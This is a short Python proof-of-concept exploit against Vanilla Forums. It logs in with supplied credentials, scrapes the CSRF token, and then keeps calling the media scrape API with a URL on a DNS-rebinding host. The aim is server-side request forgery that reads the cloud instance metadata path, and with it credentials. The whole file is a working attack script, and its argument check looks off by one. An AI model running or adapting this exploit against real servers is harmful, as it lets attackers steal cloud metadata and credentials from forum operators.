poc.py

#!/usr/bin/python3
import requests
import re
import json
import sys

if(len(sys.argv) != 5):
        print("usage: ./"+sys.argv[0]+" <vanilahost> <forumuser> <forumpw> <metadata_path> <dns_rebind_host>")
        print("usage: ./"+sys.argv[0]+" http://target_host/vanilla_path simpleuser simpleuser22 latest/meta-data/ rebinder.host")
        exit()

s = requests.Session()

hst = sys.argv[1]
usr = sys.argv[2]
pwd = sys.argv[3]
metadata_path = sys.argv[4]
rbdrhst = sys.argv[5]

headers = {
	'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
	'X-Requested-With': 'XMLHttpRequest',
        'Referer': hst+'/vanilla/index.php?p=/entry/signin'
}

r = s.get(hst+"/index.php?p=/entry/signin")
tkey=re.findall(r'<input type="hidden" id="Form_TransientKey" name="TransientKey" value="(.*?)" \/>',r.text)[0]

login_data={
	"TransientKey": tkey,
        "Email": usr,
        "Password": pwd,
        "DeliveryType": "VIEW",
        "RememberMe": "1",
        "DeliveryMethod": "JSON",
        "Target": "discussions",
}
r =s.post(hst+'/index.php?p=/entry/signin', data=login_data, headers=headers)

if('Please wait while you are redirected. If you are not redirected, click' in r.text):
        msg=None
        while(msg==None):
                r =s.post(hst+'/api/v2/media/scrape', data={'url':'http://'+rbdrhst+'/'+metadata_path}, headers=headers)
                ret=json.loads(r.text)
                try:
                        msg=ret["body"]
                except Exception as e:
                        #print(ret)
                        msg=None
else:
        print('login failed')

print(msg)